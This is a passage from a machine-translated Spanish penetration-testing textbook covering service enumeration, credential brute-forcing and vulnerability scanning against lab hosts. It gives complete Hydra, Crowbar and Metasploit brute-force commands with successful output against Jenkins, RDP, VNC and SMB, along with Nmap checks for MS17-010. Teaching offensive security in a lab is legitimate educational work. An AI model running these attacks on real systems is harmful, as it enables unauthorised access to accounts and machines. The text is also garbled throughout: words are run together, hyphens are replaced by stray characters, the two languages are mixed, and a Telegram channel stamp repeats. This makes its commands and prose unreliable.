(dedicatedtoQAanalysts) aswell.ThewebportalthatmanagesJenkins willbelisteningonHTTPport8080bydefault.Also, Jenkinswillbelistening onTCPport50000;. thisportisusedtoconnectamasternodetooneormultiple slaveinstances.Toaccessthewebportal, necesitará credenciales válidas para poder ingresar y realizar cambios. Durante la fase de enumeración, debe buscar dos cosas: Credenciales de fuerza bruta Identificarsilaversióninstaladaesexplotable Hasta el día de hoy, no teníamos un script Nmap dedicado para Jenkins (quizás en el futuro). Sin embargo, si usamos nuestro escaneo de scripts básico habitual mediante Nmap, identificará que Jenkins se está ejecutando en el puerto 50000. Por otro lado, Nmap reconoció el puerto 8080 como servidor web, pero no pudo decodificar lo que se ha alojado en ese servidor web Jetty: root@kali:~#nmapÿsVÿsCÿOÿT5ÿp8080,50000172.16.0.103 InicioNmap7.80(https:// nmap.org)en2020-06-1509:16EDT Nmapscanreportfor172.16.0.103 Hostisup(0.00065latencia) . VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 8080/tcpopenhttpJetty9.2.zÿSNAPSHOT |httprobots.txt:1entrada no permitida|_/ |_http-serverheader:Jetty(9.2.z-SNAPSHOT) |_http-title:El sitio no tiene un título(text/html;charset= UTF-8). 50000/ tcpopenhttpJenkinshttpd2.60.3 |_http-server-header:172.17.0.2 |_http-title:El sitio no tiene un título(texto/normal;juego de caracteres=UTF-8). Dirección MAC: 00: 0C: 29: 96: F8: 6C (VMware) Advertencia: Los resultados de OSScan pueden no ser confiables porque no pudimos encontrar al menos 1 puerto abierto y 1 cerrado Suposiciones de SO agresivo: Linux 2.6.32 (96 %), Linux 3.2-4.9 (96 %), Linux 2.6.32-3.10 (96 %), Linux 3.4-3.10 (95 %), Linux 3.1 (95 %) ,Linux3.2(95%),cámara de red AXIS210Aor211(Linux2.6.17) (94 %), SynologyDiskStationManager5.2-5644 (94 %), NetgearRAIDiator4.2.28 (94 %), Linux2.6.32-2.6.35 (94 %) Canal de Telegram : @IRFaraExam Machine Translated by Google No hay coincidencias exactas del sistema operativo para el host (condiciones de prueba no ideales). Distancia de red: 1 salto […] Cuando esto sucede (ver el puerto 50000 abierto), podemos ir directamente al portal web (Figura 6.1). La segunda etapa consiste en prepararse para el ataque de fuerza bruta . En un portal web , deberá comenzar con aran y el nombre de usuario y la contraseña para identificar el mensaje de error que se mostrará después de un inicio de sesión fallido . Figura 6.1 JenkinsWebPortal Figura 6.2 Mensaje de error de Jenkins Fuerza bruta en un portal web mediante el uso de Hydra Canal de Telegram : @IRFaraExam Machine Translated by Google En la sección anterior, necesitábamos acceder al portal web de Jenkins. Ahora aprenderá cómo usar fuerza bruta en cualquier portal web usando Hydra (no solo Jenkins). Podemos seguir este proceso cada vez que queramos usar fuerza bruta en una página web: 1.Abralapáginadeinicio de sesión. 2. Habilite el proxy en Burp y el navegador. 3. Ingrese credenciales válidas y envíe los datos (usando el botón Enviar). 4. Intercepte la solicitud mediante el proxy Burpp y envíela al repetidor. 5. Extraiga los siguientes cuatro elementos: ODIO campo de nombre de usuario Campo de contraseña Mensaje de error NOTA Consulte siempre el sitio del fabricante (solo busque en Google el número de modelo o el nombre del portal web) para obtener el nombre de usuario y la contraseña predeterminados. Muchos administradores del portal web mantienen las credenciales predeterminadas, por lo que no tiene que forzar su entrada. Este es un ejemplo de un sitio web atractivo que mantiene un inventario de las credenciales predeterminadas: datarecovery.com/rd/default-passwords/ . Paso 1: habilite un proxy Primero, necesitamos habilitar un proxy en el navegador web. Tenga en cuenta que el proxy Burp estará escuchando en el puerto 8080 en el host Kali . No se confunda con el puerto 8080 que usa el servidor web Jenkins. Podemos usar el navegador Firefox en nuestro host Kali. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 6.3 Configuración de red de Firefox Ahora, seleccione el botón de opción proxy y asegúrese de configurar lo siguiente: Establezca HTTPProxy en 127.0.0.1. Establezca Puerto en 8080 (ese es el puerto de Burppproxy y no de Jenkins). Seleccione la opción Usar este servidor proxy para todos los protocolos. Haga clic en Aceptar para guardar la configuración. A continuación, abra Burp Suite desde el menú Kalimenu, como se muestra en la Figura 6.4. Figura 6.4 KaliMenu ÿBurpSuite Deberá hacer clic en el botón Siguiente varias veces al principio cuando inicie Burp Suite. Una vez que la aplicación esté cargada, haga clic en la pestaña Proxy y verá que el botón Interceptar está habilitado en la subpestaña Interceptar, como se muestra en la Figura 6.5. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 6.5 BurpSuiteProxy Paso 2: interceptar la solicitud del formulario Vuelva al formulario de inicio de sesión de Jenkins, ingrese algunas credenciales aleatorias y haga clic en el botón de inicio de sesión. Una vez que envíe el formulario, cambie a la sección Intercepción de BurpSuite y debería poder ver su solicitud. Figura 6.6 BurpSuite –SendtoRepeater Cuando esté en el repetidor, visualizará la solicitud. (Yo siempre trabajo en el Canal de Telegram : @IRFaraExam Machine Translated by Google sección de repetidor para enviar mis cargas útiles web; es una de mis pestañas favoritas en Burp Suite.) Paso 3: Extracción de datos de formulario y fuerza bruta con Hydra Para preparar las cosas con anticipación para Hydra, deberá extraer tres hallazgos: URLruta: /j_acegi_security_check(verifiquelaprimeralíneaen la Figura 6.7) Figura 6.7 POSTContenido Contenido del formulario POST: j_username=prueba&j_contraseña=prueba&de=%2F&Jenkinsÿ Crumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%22%3A+% Crumb%22%3A+%226a3b8d2a8000e1aaaea8566f6cec42658%22%7D&Enviar=iniciar sesión (compruebe el texto resaltado en la Figura 6.7) Mensaje de error: información de inicio de sesión no válida (consulte la figura 6.2) Este es el comando de Hydra para una fuerza bruta HTTP POST: $hydra-l[nombre de usuario]-f-ensr-P[archivo de contraseñas]-s[número de puerto] [Dirección IP]http-post-form"[Ruta URL:POSTFormContents:Error Mensaje]" Antes de continuar, el valor del nombre de usuario debe cambiarse de prueba a ^USUARIO^ , y el valor de la contraseña, que es prueba y debe cambiarse a ^PASS^ . El valor final del contenido del formulario POST debe tener este aspecto : j_username=^USUARIO^&j_password=^PASS^&from=%2F&Jenkins Crumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%22%3A+%22test%22% Canal de Telegram : @IRFaraExam Machine Translated by Google <!--<ce:anchorid="pp:150np:151"role="page-break"/>-- >2F%22%2C+ %22Jenkinsÿ Crumb%22%3A+ %226a3b8d2a8000e1aaea8566f6cec42658%22%7D&Submit=log+ en Es hora de comenzar a ejecutar nuestro ataque de fuerza bruta: hydraÿladminÿfÿensrÿP/opt/SecLists/Passwords/darkweb2017ÿ top100.txtÿ s8080172.16.0.103httpÿpostÿform"/ j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkinsÿ Crumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%22%3A+%22test%22% Crumb%22%3A+%226a3b8d2a8000e1aaea8566f6cec42658%22%7D&Submit=log+in:Invalid logininformation" […] [DATA] attackinghttp-post formulario: //172.16.0.103: 8080 / j_acegi_security_check: j_username = ^ USUARIO ^ & j_password = ^ Crumb = 6a3b8d2a8000e1aaea8566f6cec42658 y json =% 7B% 22j_username% 22% 3A +% 22test% 22% Crumb% 22% 3A +% 226a3b8d2a8000e1aaea8566f6cec42658 %22%7D&Submit=log+in: Información de inicio de sesión no válida [8080][httpÿpostÿform]host:172.16.0.103login:adminpassword:admin [STATUS]ataquefinalizadopara172.16.0.103(par válido encontrado) 1 de 1 objetivo completado con éxito, 1 contraseña válida Parece que tenemos un candidato exitoso, admin:admin. Protocolos web80/443 Las aplicaciones web lo son todo en estos días; es por eso que existe un capítulo dedicado que se enfoca en la enumeración y explotación de aplicaciones web. HTTPTCPport80: Sirve para solicitudes y respuestas web en texto sin cifrar. Si rastrea la red de un sitio web que sirve en el puerto 80, podrá ver las credenciales de inicio de sesión en texto sin cifrar. Puerto HTTPS/TLSTCP 443: este protocolo seguro del protocolo HTTP se llama HTTPS o TLS. La comunicación es segura, por lo que el niffer no podrá ver el tráfico a menos que haya un proxy que lo intercepte. Canal de Telegram : @IRFaraExam Machine Translated by Google NOTA Los portales web como Jenkins, por ejemplo, no utilizan el número de puerto predeterminado 80 para evitar conflictos con la aplicación web predeterminada alojada en el mismo servidor web. Protocolos de comunicación remota gráfica Conectarse de forma remota a la interfaz gráfica de usuario de Windows y Linux se puede lograr fácilmente hoy en día. En esta sección, aprenderá cómo identificar un servicio de protocolo móvil y cómo hackearlo como los profesionales. Estas son las aplicaciones más comunes que se utilizan para este propósito: Protocolo de escritorio remoto (RDP): TCPport3389 Computación de red virtual (VNC): TCPport5900 RDP (Puerto 3389) El protocolo de escritorio remoto es la aplicación común utilizada para conectarse de forma remota a los sistemas operativos Windows. Si está habilitado en el host remoto, los usuarios pueden conectarse a la interfaz gráfica de usuario del host de Windows. Escaneemos rápidamente un host ejecutando un servidor RDP: root@kali:~#nmapÿsVÿsCÿOÿT5ÿp3389172.16.0.104 Inicio de Nmap7.80(https://nmap.org)en2020-06-1610:04EDT Nmapscanreportfor172.16.0.104 Hostisup(0.00056latencia) . PORTSTATESERVICEVERSION 3389/tcpopenmsÿwbtÿserverMicrosoftTerminalServices |rdp-ntlm-info:| Target_Name:KCORP |NetBIOS_Domain_Name:KCORP | NetBIOS_Computer_Name:WINDOWS10LAB |DNS_Domain_Name:KCorp.local |DNS_Computer_Name:Windows10Lab.KCorp.local | DNS_Corp.Tree_Name:KCorp.local |DNS_Tree_Name: 10.0.17763 | _System_Time:2020-06-16T14:04:26+00:00 |sslcert:Subject:commonName=Windows10Lab.KCorp.local Canal de Telegram : @IRFaraExam Machine Translated by Google […] Fuerza bruta RDP El protocolo RDP es lento, e Hydra no funciona en el protocolo RDP. Por otro lado, Crowbar ha demostrado que es ligeramente mejor que Hydra cuando se trata de fuerza bruta del servicio RDP. Veamos un ejemplo práctico de fuerza bruta del mismo servidor que enumeramos anteriormente usando Crowbar (tiene que instalarlo primero usando aptinstall crowbar-y ): root@kali:/# crowbarÿbrdpÿs172.16.0.104/32ÿuadminÿC/root/pass.txt 2020-06-1614:08:26INICIO 2020-06-1614:08:26Crowbarv0.4.1 2020-06 -1614:08:26Intentando172.16.0.104:3389 2020-06-1614:08:26RDP-ÉXITO:172.16.0.104:3389admin:Contraseña123! 2020-06-1614:08:26DETENER VNC (Puerto 5900) La computación en red virtual (VNC) es otro servicio popular que se usa con fines remotos. VNC se usa comúnmente en hosts Linux con una interfaz gráfica de usuario (por ejemplo, GNOME) y usa el puerto TCP 5900 de manera predeterminada. nmapÿsVÿT5ÿp5900ÿÿscript=vnc*172.16.0.101 Iniciando Nmap7.80(https:// nmap.org)a las 2020-06-1615:14EDT Nmapscanreportfor172.16.0.101 Hostisup(0.00025slatency). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 5900/tcpopenvncVNC(protocolo 3.3) |vnc-brute:| Cuentas:Novalidaccountsfound | Estadísticas:Realizadas15conjeturasen1segundos,averagetps:15.0 |_ERROR:Toomanyauthenticationfailures |vnc-info:|Protocolversion:3.3 |Securitytypes:| _VNCAuthentication(2) […] Canal de Telegram : @IRFaraExam Machine Translated by Google Nmap no nos muestra mucho; solo pudimos detectar la versión de VNC. Para la fuerza bruta de VNC, usaremos Metasploit. (En el pasado he tenido resultados más exitosos con el módulo de Ms en lugar de Hydra). Tenga en cuenta que no necesita un nombre de usuario para descifrar una cuenta de VNC. Todo lo que necesita es una contraseña: msf5> useauxiliary/scanner/vnc/vnc_login msf5auxiliary(scanner/vnc/vnc_login)> setRHOSTS172.16.0.101 RHOSTS=>172.16.0.101 msf5auxiliary(scanner/vnc/vnc_login)> setVERBOSEfalse VERBOSE=>false msf5auxiliary(scanner/vnc/vnc_login) )> establecer STOP_ON_SUCCESStrue STOP_ON_SUCCESS=>true msf5auxiliary(scanner/vnc/vnc_login)> ejecutar [*]172.16.0.101:5900-172.16.0.101:5900-StartingVNCloginsweep [+]172.16.0.101:5900ÿ 172.16.0.101:5900ÿLoginSuccessful::password [*]172.16.0.101:5900Scanned1of01%hostcomplete(10) […] Protocolos para compartir archivos Los protocolos ServerMessageBlock (SMB) y NetBIOS son el corazón del uso compartido de archivos en los sistemas operativos Microsoft Windows. Samba no solo se usa en el sistema operativo Windows, sino que se usa ampliamente en los sistemas operativos Linux para compartir archivos y para servicios de impresión. SMB (Puerto 445) El protocolo SMB funciona en el puerto TCP 445 y, una vez habilitado, verá que el puerto NetBIOSTCP 139 también está abierto. El proceso de enumeración de un protocolo SMB debe tener como objetivo los siguientes elementos: Nombres compartidos Lista de usuarios listadegrupos Nombre de dominio cuentas de fuerza bruta Canal de Telegram : @IRFaraExam Machine Translated by Google Lista de versiones vulnerables de SMB Un análisis rápido de Nmaps debería revelar información básica sobre el host de destino: root@kali:~# nmapÿsVÿT5ÿp445ÿsC172.16.0.106 A partir de Nmap7.80(https://nmap.org) a las 2020-06-1809:36EDT Nmapscanreportfor172.16.0.106 Hostsup (0.00072 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 445/tcpopenmicrosoftÿdsWindows10Pro10240microsoftÿds (grupo de trabajo: KCORP) Dirección MAC: 00: 0C: 29: 87: 09: 90 (VMware) ServiceInfo: Host: WINDOWS10LAB02; SO: Windows; CPE: cpe: / o: microsoft: windows Resultados de la secuencia de comandos del host: |_reloj sesgado:media:2h19m59s,desviación:4h02m29s,mediana:0s | _nbstat:NetBIOSname:WINDOWS10LAB02,NetBIOSusuario:<desconocido>,NetBIOSMAC:00:0c:29:87:09:9 |smb-os-discovery:| OS:Windows10Pro10240(Windows10Pro6.3) |OSCPE:cpe:/o:microsoft:windows_10 ::|Nombre del equipo:Windows10Lab02 |Nombre de equipo NetBIOS:WINDOWS10LAB02\x00 |Nombre de dominio:KCorp.local |Nombre del bosque:KCorp.local |FQDN:Windows10Lab02.KCorp.local |_Hora del sistema:2020-06-18T06:36:19-07:00 |modo-seguridad-smb:| cuenta_usada:invitado |authentication_level:usuario |desafío_respuesta:compatible |_message_signing: deshabilitado (peligroso, pero predeterminado) |smb2-security-mode:|2.02:| _Messagesigninghabilitadoperonorequerido |smb2-time:|| fecha:2020-06-18T13:36:19 _start_date:2020-06-18T13:32:18 A continuación, podemos ejecutar un análisis de vulnerabilidades mediante un análisis de secuencias de comandos Nmap para ver si podemos obtener más información (no usé smb*, porque requiere mucho tiempo y agresivo): root@kali:~# nmapÿsVÿp445ÿÿscript=smbÿvuln*172.16.0.106 A partir de Nmap7.80(https://nmap.org) a las 2020-06-1810:27EDT Canal de Telegram : @IRFaraExam Machine Translated by Google Nmapscanreportfor172.16.0.106 Hostsup (0.00025 latencia). PUERTO SERVICIO ESTATAL VERSIÓN 445/tcpopenmicrosoft-dsMicrosoftWindows7-10microsoft-ds(grupo de trabajo:KCORP) Dirección MAC: 00: 0C: 29: 87: 09: 90 (VMware) ServiceInfo: Host: WINDOWS10LAB02; SO: Windows; CPE: cpe: / o: microsoft: windows Resultados de la secuencia de comandos del host: |_smb-vuln-ms10-054: falso |_smb-vuln-ms10-061:NT_STATUS_ACCESS_DENIED |smbÿvulnÿms17ÿ010: |VULNERABLES: |Vulnerabilidad de ejecución remota de código en servidores Microsoft SMBv1 (ms17-010) |Estado:VULNERABLE |ID:CVE:CVE-2017-0143 | Factor de riesgo: ALTO | Existe una vulnerabilidad crítica de ejecución remota de código en Microsoft SMBv1 |servidores (ms17-010). ||Fecha de divulgación:2017-03-14 |Referencias: |https://technet.microsoft.com/en-us/library/security/ms17010.aspx |https://blogs.technet.microsoft.com/msrc/2017/05/12/guía para el cliente para los ataques de Wannacrypt/ |_https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/ submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 11,49 segundos Probaremos si el host remoto es vulnerable a los toms 17-010 en el Capítulo 7. Para el momento, solo estamos recopilando información (podría ser un falso positivo; no contar con la precisión de los resultados que estamos reuniendo en esta fase). Tenga en cuenta que puede usar la opción de secuencia de comandos smb-enum para agregar más resultados de enumeración al resultados: root@kali:~#nmap-sV-p445--script=smb-enum172.16.0.106 Si desea explorar más herramientas para este propósito, lo invito a probar también la utilidad Enum4LinuxSMBenumeration: Canal de Telegram : @IRFaraExam Machine Translated by Google $enum4linux-a[dirección IP] Fuerza brutaSMB Podemos usar el módulo auxiliar Metasploit smb_login en lugar de Hydra para el protocolo SMB porque da menos falsos positivos y proporciona un mejor rendimiento. Para obtener un buen resultado, puede modificar las opciones de su escáner porque no quiere quemar gas por nada. msf5> useauxiliary/scanner/smb/smb_login msf5auxiliary(scanner/smb/smb_login) >setBLANK_PASSWORDStrue BLANK_PASSWORDS= >true msf5auxiliary(scanner/smb/smb_login) >setPASS_FILE/ usr/share/wordlists/rockyou.txt PASS_FILE= >/usr/share /wordlists/rockyou.txt msf5auxiliary(scanner/smb/smb_login) >setRHOSTS172.16.0.106 RHOSTS= >172.16.0.106 msf5auxiliary(scanner/smb/smb_login) >setSMBUseradmin SMBUser= >admin msf5auxiliary(scanner/smb/smb_login) >setSTOP_ON_SUCCESS STOP_ON_SUCCESS= >true msf5auxiliary(scanner/smb/smb_login) >setTHREADS100 THREADS = >100 msf5auxiliary(scanner/smb/smb_login) >setUSER_AS_PAStrue USER_AS_PASS= >true msf5auxiliary(scanner/smb/smb_login) >setVERBOSEfalse VERBOSEner= >false msf5aux smb/smb_login) >ejecutar [+]172.16.0.106:445'. \admin:admin' [*]172.16.0.106:445[*]Ejecución del módulo auxiliar completada msf5auxiliary(scanner/smb/smb_login) > -172.16.0.106:445-Éxito: - Escaneado 1 de 1 hosts (100 % completo) SNMP (PuertoUDP161) El protocolo simple de administración de red es una base de datos que almacena información de hosts/dispositivos de red (para fines de administración de red). La base de datos de información SNMP se llama Base de información de administración (MIB) y estructura los datos en un árbol. Canal de Telegram : @IRFaraExam Machine Translated by Google puede usar las tres cadenas comunitarias siguientes para conectarse al servidor SNMP: Público Privado Gerente SNMPEnumeración Si pudo enumerar el servidor SNMP, verá muchos información importante sobre el host de destino: Interfaces de red Puertos de escucha Procesos del sistema Hosthardwareinformación Software instalado Usuarios locales Carpetas compartidas Nmap es mi herramienta favorita para el proceso de enumeración. Entonces, para el SNMP protocolo, usaré de nuevo Nmap para hacer el trabajo. Tome nota de que usaré el opción sU porque estoy apuntando a un puerto UDP (la salida es grande, por lo que seré truncando algunos resultados): raíz @ kali: # nmap-sU-p161-sV-sC-T5172.16.0.100 A partir de Nmap7.80(https://nmap.org) a las 2021-01-0512:39 EST Nmapscanreportfor172.16.0.100 Hostsup (0.00038 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 161/udpopensnmp| servidor SNMPv1 (público) interfaces snmp:| SoftwareLoopbackInterface1\x00 |Dirección IP:127.0.0.1Máscara de red:255.0.0.0 |Tipo:softwareVelocidad de bucle invertido:1 Gbps |Estadísticas de tráfico:0,00 Kb enviados, 0,00 K recibidos |Minipuerto WAN(SSTP)\x00 |Tipo:túnelVelocidad:1Gbps |Estadísticas de tráfico:0,00 Kb enviados, 0,00 K recibidos […] |snmp-netstat: Canal de Telegram : @IRFaraExam Machine Translated by Google |TCP0.0.0.0:135| TCP0.0.0.0:3389| TCP0.0.0.0:49152[…] 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 |procesos snmp:|1:|||||| Ruta: \SystemRoot\System32\ Nombre: SystemIdleProcess 4: Nombre:Sistema 264: Nombre: smss.exe |356:| Nombre:csrss.exe |Ruta:%SystemRoot%\system32\ | Params:ObjectDirectory=\WindowsSharedSection=1024,20480,768Windows=OnSubSystemType=WindowsServer […] Nmap hizo un gran trabajo al mostrar toda la información. De hecho, la salida es tan enorme que tomará muchas páginas, así que eliminé la mayoría de ellas para mayor claridad. La parte más importante en la salida de Nmap es la versión de este servidor SNMP (V1) y la cadena comunitaria también se usa (pública). Resumen Idealmente, disfrutó de este capítulo de enumeración. En esta fase de prueba de penetración, recopilamos toda la información sobre diferentes tipos de servicios. los datos de enumeración recopilados se utilizarán para explotar cada uno de ellos. luego, en el siguiente capítulo, aprenderá a explotar estos servicios a través de un shell remoto (y mucho más). Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 7 OperaciónFase En este capítulo, comenzará a ver algunos ataques reales y entrará en los sistemas. En el capítulo anterior, tenía toda la información sobre cada servicio, y en este, daremos un paso más y explotaremos las vulnerabilidades. Además de esto, aprenderá sobre la evaluación de vulnerabilidades en una organización típica, que será útil si desea hacer de la seguridad su carrera. En este capítulo, aprenderá sobre lo siguiente: evaluación de vulnerabilidades Investigación pública para hazañas Explotación del servicio FTP Explotación del servicio SSH Telnetservicioexplotación Explotación del servidor de correo electrónico Dockerengineexplotación Jenkinsportalexplotación conchas inversas Explotación del protocolo SMB Evaluación de vulnerabilidades Anautomatedvulnerabilitiesassessmentconsistsofusingprofessionalscanners thatfindvulnerabilitiesonaremotehostinthenetwork (ormultipleonesina subred) .Inthepreviouschapter, weusedthescriptscaninNmap.Ingeneral, mostscriptsinNmap (notallofthem) willexecutesomenecessarychecksfor vulnerabilities.Forexample, whenyourunthe FTP * scriptoption, itwillinclude thevulnerabilitiesscanninginNmap.Ifyouwanttobespecific, youcanusethe opción ftp-VULN * entorno toachievetheendresults.Notethatavulnerabilityassessment isalittlebitrelatedtopatchmanagement.Ifyouareworkinginanenterprise, youwillencounterthistaskalot, morethanpenetrationtesting Canal de Telegram : @IRFaraExam Machine Translated by Google Muchas empresas pasan por esta etapa y no proceden con la explotación de los hallazgos. En su lugar, intentan corregirlos en función del informe generado por las herramientas. En el mundo real, las empresas utilizan escáneres automáticos más avanzados, y estos son algunos ejemplos de los que se utilizan en entornos incorporados: De Tenable: Nessus y Tenable.sc (solución local) Tenable.io (solución en la nube) DeRapid7: Nexpose (una solución fuera de las instalaciones) InsightVM (solución en la nube) QualysScanner (solución en la nube) Todos estos escáneres usan el mismo concepto. Si conoce los conceptos básicos del escaneo de vulnerabilidades, podrá usar fácilmente cualquier tipo de escáner. Flujo de trabajo de evaluación de vulnerabilidades Antes de continuar, veamos la secuencia lógica para lograr una tarea de evaluación de vulnerabilidad exitosa. ¿Por qué necesita clasificar sus activos? Tengo varias respuestas para esta pregunta: Permite que el escáner ejecute tareas con precisión. Por ejemplo, el escáner tendrá una plantilla diferente para dispositivos móviles en comparación con hosts de Windows, etc. Puede priorizar la administración de parches de vulnerabilidades. Por ejemplo, una vulnerabilidad crítica en un servidor de producción es más importante que una vulnerabilidad crítica en un servidor de desarrollo de intranet. Le permite separar lógicamente sus dispositivos para fines de administración de parches. Por ejemplo, agrupar los activos le permitirá enumerar fácilmente todos los hosts en la producción cuando se lo solicite. Canal de Telegram : @IRFaraExam Machine Translated by Google Estos son los pasos: 1. Agrupe sus activos: Antes de comenzar la evaluación de vulnerabilidad, debe agrupar sus activos en diferentes categorías. Estos son algunos ejemplos: Dispositivos de red dispositivos IoT hosts de usuario Devservers Servidores de preproducción Servidores de producción de Windows Servidores de producción Linux Telefonía/VoIP tabletasyteléfonos 2. Gestión de acceso: Otro requisito previo para el análisis de vulnerabilidades es dar acceso al escáner para ejecutar sus funcionalidades. En otras palabras, el analizador de vulnerabilidades no podrá escanear correctamente si no tiene el permiso correcto en el host de destino. Esto es lo que deberá hacer por su parte: a.CreeunacuentapersonalizadaparahostsLinux.ElescánerusaráSSHpara autenticar. b.CreeunacuentapersonalizadaparaloshostsWindows.Luego,elescánerutilizaráelprotocoloSambaparaautentica c. Instale un agente en cada host de destino. La mayoría de los escáneres basados en la nube requerirán que use este patrón. El agente escaneará los servicios en cada host y enviará los resultados al nodo principal. Además, el agente se ejecutará localmente en el host, por lo que los resultados serán más precisos. 3. Cree escaneos: después de realizar los dos pasos anteriores, puede comenzar a crear Cada proveedor ofrecerá diferentes plantillas para escanear. Por ejemplo, tendrá una plantilla para escanear un dispositivo móvil. Canal de Telegram : @IRFaraExam Machine Translated by Google ha identificado y agrupado sus activos correctamente, entonces este paso debería ser fácil de implementar. 4. Informe: Thelaststeptoachieveasuccessfulvulnerabilityassessmentisthe reportingstep.Again, ifyoudidyourjobcorrectlyandsegmentedyour assetsandscans, thenthereportingpartshouldnotbeahassle.Reportswill havefalsepositives; yourjobistoidentifythembeforereportingto management.Foralarge-scalenetwork, youwillbesurprisedaboutthe numberofvulnerabilitiesthatyouwillfind.Insomecompanies, que requiresecurityanalyststore-assessthescoreofthesecurityrisk (vulnerabilidad ofeach) toreducethefalsepositivesandreportamoreaccurateresult. Exploración de vulnerabilidades con OpenVAS Es hora de practicar con algunos ejemplos del mundo real utilizando el escáner de vulnerabilidades gratuito Open VAS. Esta sección tiene fines prácticos únicamente, pero en el mundo real, muchas grandes empresas invierten dinero en costosos escáneres de vulnerabilidades profesionales (como los que mencioné anteriormente). El mismo concepto se aplica a otro escáner llamado Open VAS; ¡comencemos! InstallingOpenVAS Kalite siempre cambia la situación con respecto a Open VAS en diferentes distribuciones. En otras palabras, a veces probablemente vea Open VAS preinstalado, y en algunas otras distribuciones, no. En la distribución actual de 2020, no está preinstalado. Para instalarlo, haga lo siguiente: root@kali:~# aptupdate root@kali:~# aptinstallopenvasÿy root@kali:~# openvasÿsetup Una vez que el último comando haya terminado de ejecutarse, no cierre la ventana de su terminal. La instalación mostrará su contraseña para iniciar sesión dentro del portal web. En la muestra de salida, verá que se generó una contraseña; en su extremo, la contraseña será diferente: [>]Comprobando el usuario administrador [*]Creando el usuario administrador Usuario creado con contraseña '0223982d-1935-4053-a300-7b2843f2ab61'. [+]Terminado Para acceder al portal web, abra su navegador en el siguiente enlace, como se muestra en la Figura 7.1. (Utilice las credenciales que obtuvo anteriormente. Además, asegúrese de guardar Canal de Telegram : @IRFaraExam Machine Translated by Google la contraseña para su uso posterior.) https://127.0.0.1:9392/iniciar sesión/iniciar sesión.html Figura 7.1 OpenVASWebPortal NOTA Si reinició su host, el servidor OpenVAS se apagará eventualmente y debe iniciar el servicio nuevamente con el siguiente comando: root@kali:~#openvas-inicio Escaneo con OpenVAS Aquí está el flujo de trabajo que usaremos para escanear usando Open VAS: 1. Cree un grupo de conjuntos para escanear hosts de Windows. (En Open VAS, se llama objetivos.) 2. Utilice una cuenta SMB de Windows para permitir que el escáner inicie sesión en el host de destino. Canal de Telegram : @IRFaraExam Machine Translated by Google 3. Cree una tarea para escanear los objetivos de host identificados anteriormente. 4. Runthescan. 5. Verifique el informe después de completar el escaneo. Crear una lista de objetivos En el menú, seleccione el elemento Configuración y, a continuación, haga clic en Objetivos. Una vez que esté en la página, haga clic en el pequeño botón de estrella azul para crear un nuevo objetivo. En la versión más reciente de la aplicación, el botón está ubicado a la izquierda de la pantalla, como se muestra en la Figura 7.2. Figura 7.2 OpenVASNewTarget Se abrirá una nueva ventana de destino en blanco. En esta etapa, debemos agregar la siguiente información (consulte la Figura 7.3): Proporcione al grupo de activos (objetivos) un nombre y una descripción. Canal de Telegram : @IRFaraExam Machine Translated by Google Especifique las direcciones IP de las máquinas host. Opcionalmente, identifique la cuenta SMB (si desea un escaneo autenticado). Especifique los intervalos de números de puerto que desea utilizar para estos tipos de activos. CreateaScannerTask Para crear una tarea de escáner, seleccione el menú Escanear y luego haga clic en el elemento Tarea. Una vez más, haga clic en el pequeño botón de estrella azul para crear una nueva tarea. Una vez que la ventana esté cargada, deberá proporcionar la siguiente información (consulte la Figura 7.4): Proporcione el nombre y la descripción de la tarea. Seleccione el nombre del objetivo del grupo; aquí está Scan Targets. En Scan Config, elija el tipo de escaneo (rápido o profundo y lento). Figura 7.3 Opciones de OpenVASTarget Una vez que haya creado la tarea, podrá unirse a la página de tareas mediante Canal de Telegram : @IRFaraExam Machine Translated by Google haciendo clic en el botón verde de reproducción, debajo de la columna Acciones (consulte la Figura 7.5). Una vez que el escáner haya terminado, el estado será Listo. Para actualizar los resultados automáticamente, deberá configurar el tiempo de actualización en la lista desplegable superior derecha (junto al nombre de usuario que ha iniciado sesión). Revisión del informe Una vez que el escáner haya terminado la tarea de escaneo, puede visualizar el informe seleccionando Escaneos ÿ Informes. En la página de informes, haga clic en el enlace debajo de la columna Fecha. (Si tiene varios escaneos, debe seleccionar la tarea correcta). Debería ser redirigido a los resultados del informe (consulte la Figura 7.6). Figura 7.4 Opciones de OpenVASTask Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 7.5 OpenVASRunATask Figura 7.6 Resultados del informe OpenVAS ¿Qué sigue? Su trabajo en esta etapa es probar cada vulnerabilidad y validar si es explotable o no (evitando falsos positivos). Investigación de exploits Hasta ahora, ha visto cómo enumeramos y buscamos vulnerabilidades. En esta etapa, necesitamos investigar cada vulnerabilidad encontrada que pueda explotarse mediante una búsqueda pública. En un entorno profesional, una empresa utiliza principalmente las siguientes: Canal de Telegram : @IRFaraExam Machine Translated by Google MetasploitPro (no la versión gratuita) CoreImpact También existen otras herramientas para este propósito, pero estas son las más populares. Estas herramientas no son gratuitas y tienen un precio, pero una empresa debe tenerlas para ahorrar tiempo y esfuerzos inútiles. No siempre tiene acceso a estas herramientas (dependiendo del cliente con el que esté trabajando). En su lugar, podemos seguir este patrón: 1.Compruebe si hay un exploit en Metasploit (edición comunitaria). 2. Si el exploit no está en Metasploit, use el motor de búsqueda de Google para ingresar el nombre del exploit que está buscando: Puede usar exploit-db.com si aparece en la parte superior de la búsqueda. También puede utilizar GitHubi si el exploit no aparece en exploitÿdb . Tomemos un ejemplo práctico de una de las vulnerabilidades encontradas en el informe Open VAS anterior (consulte la Figura 7.7). Cada producto de escaneo de vulnerabilidades le mostrará una sección que muestra las referencias de cómo explotar la vulnerabilidad seleccionada. Si se pregunta de dónde obtuve esta información , consulte la Figura 7.7 en la sección de resumen. Canal de Telegram : 